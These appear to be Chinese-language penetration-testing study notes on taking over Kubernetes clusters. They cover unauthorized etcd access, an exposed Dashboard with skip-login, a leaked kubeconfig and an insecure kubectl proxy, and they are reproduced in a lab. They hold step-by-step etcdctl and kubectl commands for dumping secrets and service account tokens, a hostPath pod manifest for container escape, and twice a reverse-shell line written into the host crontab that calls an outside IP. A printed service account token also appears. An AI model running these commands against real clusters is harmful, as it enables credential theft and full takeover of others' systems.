云原生-K8s安全-etcd(Master-数据库)未授权访问
实战中不会常见,利用条件比较苛刻。
默认通过证书认证,起一个数据库作用。主要存放节点的数据,如一些token和证书。
攻击23791端口
配置映射:
/etc/kubernetes/manifests/etcd.yaml
第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。只能本地访问,直接未授权访问获取secrets和token利用
第三种(满足):实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。只能本地访问,利用ssrf或其他进行获取secrets和token利用
复现搭建
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
复现利用:etcdV2/V3版本利用参考:
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
https://www.wangan.com/p/7fy7f81f02d9563a
暴露etcd未授权->获取secrets&token->通过token访问API-Server接管
etcdV2版本利用
直接访问http://ip:2379/v2/keys/?recursive=true ,可以看到所有的key-value值。(secrets token)
etcdV3版本利用
安装etcdctl:https://github.com/etcd-io/etcd/releases
安装kubectl:在 Linux 系统中安装并设置 kubectl | Kubernetes
1、连接提交测试
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"
2、获取k8s的secrets
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/
3、读取service account token
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
4、通过token访问API-Server,获取集群的权限
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods
SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
云原生-K8s安全-Dashboard(Master-web面板)未授权访问
默认端口:8001(一般会被映射成别的端口)
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况:
一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
复现利用
前提条件:
用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)
1、安装
https://blog.csdn.net/justlpf/article/details/130718774
下载yaml
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml
修改kubernetes-dashboard的Service类型
kind: Service
apiVersion: v1
metadata:
labels:
k8s-app: kubernetes-dashboard
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
type: NodePort # 新增
ports:
targetPort: 8443
nodePort: 30009 # 新增
selector:
k8s-app: kubernetes-dashboard
部署
root@k8s-master01 \~\]# kubectl create -f recommended.yaml

拉取镜像,并且修改版本
> sudo docker pull kubernetesui/dashboard:v2.0.0
>
> sudo docker pull kubernetesui/metrics-scraper:v1.0.1

# 查看namespace下的kubernetes-dashboard下的资源
\[root@k8s-master01 \~\]# kubectl get pod,svc -n kubernetes-dashboard
NAME READY STATUS RESTARTS AGE
pod/dashboard-metrics-scraper-c79c65bb7-zwfvw 1/1 Running 0 111s
pod/kubernetes-dashboard-56484d4c5-z95z5 1/1 Running 0 111s
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/dashboard-metrics-scraper ClusterIP 10.96.89.218 \ 8000/TCP 111s
service/kubernetes-dashboard NodePort 10.104.178.171 \ 443:30009/TCP 111s

### ******2.创建访问账户,获取token******
# 创建账号
> \[root@k8s-master01-1 \~\]# kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard
# 授权
> \[root@k8s-master01-1 \~\]# kubectl create clusterrolebinding dashboard-admin-rb --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin
# 获取账号token
> \[root@k8s-master01 \~\]# kubectl get secrets -n kubernetes-dashboard \| grep dashboard-admin
dashboard-admin-token-q8lts kubernetes.io/service-account-token 3 2m35s

> \[root@k8s-master01 \~\]# kubectl describe secrets dashboard-admin-token-q8lts -n kubernetes-dashboard

> token: eyJhbGciOiJSUzI1NiIsImtpZCI6IndRaUdIQW1aVjE0bnRCcUo1OGlIUTExWXlXbDloTTBnODNwSmJIQzlILWMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkYXNoYm9hcmQtYWRtaW4tdG9rZW4tcThsdHMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGFzaGJvYXJkLWFkbWluIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiM2QyYWMyOWUtM2QxNS00M2EzLWE3ODAtMjI0M2Y5NTVjYzhlIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmVybmV0ZXMtZGFzaGJvYXJkOmRhc2hib2FyZC1hZG1pbiJ9.d9PiJa2WmxOFg0fMYIMfwoRK0KO010CfUCjXLTWpfnG_PapdJNU10FGo9_IsoJT79AFOfIaewvEJyz11ZSFexZq6K9Z5W2v8CMUZIV03zgS0vVkd3LJy8CEQPU8zOYgB1ND8cNFnpecPJULsJ5mU1XF_VqsRnGZUX5HZpWu91moaAKdWIjj7R8C-ABZ6QnD7zRL6jWcb4Zrm2KY6R40x-ZGDG89Gkut6fe3XE2_67LeeHRZgaBFC3bfDSA_j41LA36GXgOqxrRO7-hNczpLuNWFpB1tx5XSx_-B9rFA4MPcVaDOzuMewvyb_BOxsRwkY_bLLh1eQHWkPGGzwBGivoQ

### ******3.通过浏览器访问Dashboard的UI******
在登录页面上输入上面的token

登录成功了

> - --enable-skip-login

重新加载
> kubectl delete -f recommended.yaml

> kubectl create -f recommended.yaml
再次拉取镜像
> sudo docker pull kubernetesui/dashboard:v2.0.0


### ******3、卸载******
> kubectl delete -f recommended.yaml
### ******4、查看状态******
> kubectl get pod,svc -n kubernetes-dashboard
### ******5、利用:新增Pod后续同前面利用一致******
> apiVersion: v1
>
> kind: Pod
>
> metadata:
>
> name: xiaodi
>
> spec:
>
> containers:
>
> - name: test-container
>
> image: nginx
>
> volumeMounts:
>
> - name: test-volume
>
> mountPath: /mnt
>
> volumes:
>
> - name: test-volume
>
> hostPath:
>
> path: /

创建成功了
> 抱错
>
> pods is forbidden: User "system:serviceaccount:kubernetes-dashboard:kubernetes-dashboard" cannot create resource "pods" in API group "" in the namespace "default"
> 解决:
>
> kubectl create clusterrolebinding gitlab-cluster-admin --clusterrole=cluster-admin --group=system:serviceaccounts --namespace=default

创建成功

> echo -e "\* \* \* \* \* root bash -i \>\& /dev/tcp/192.168.16.135/4477 0\>\&1\\n" \>\> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了
其中一个节点写入

找到暴露面板-\>dashboard跳过-创建或上传pod-\>进入pod执行-利用挂载逃逸

## **云原生-K8s安全-Configfile鉴权文件泄漏**
攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存
在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:
如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件\~/.kube/config

复现利用:K8s-configfile-\>创建Pod/挂载主机路径-\>Kubectl进入容器-\>利用挂载逃逸
### 1、将获取到的config复制
### 2、安装kubectl使用config连接
安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
连接:
> kubectl -s https://192.168.16.144:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

### 3、上传利用test.yaml创建pod
> kubectl -s https://192.168.16.144:6443/ apply -f test.yaml -n default --kubeconfig=config

### ******4、连接pod后进行容器挂载逃逸******
> kubectl -s https://192.168.16.144:6443/ exec -it xiaodi bash -n default **--kubeconfig=config**

失败了
> cd /mnt
>
> chroot . bash
>
> echo -e "\* \* \* \* \* root bash -i \>\& /dev/tcp/192.168.16.135/4477 0\>\&1\\n" \>\> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了
## **云原生-K8s安全-Kubectl Proxy不安全配置**
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建
> kubectl --insecure-skip-tls-verify proxy --accept-hosts=\^.\*$ --address=0.0.0.0 --port=8009


复现利用:类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案
> kubectl.exe -s 192.168.16.144:8009 get nodes
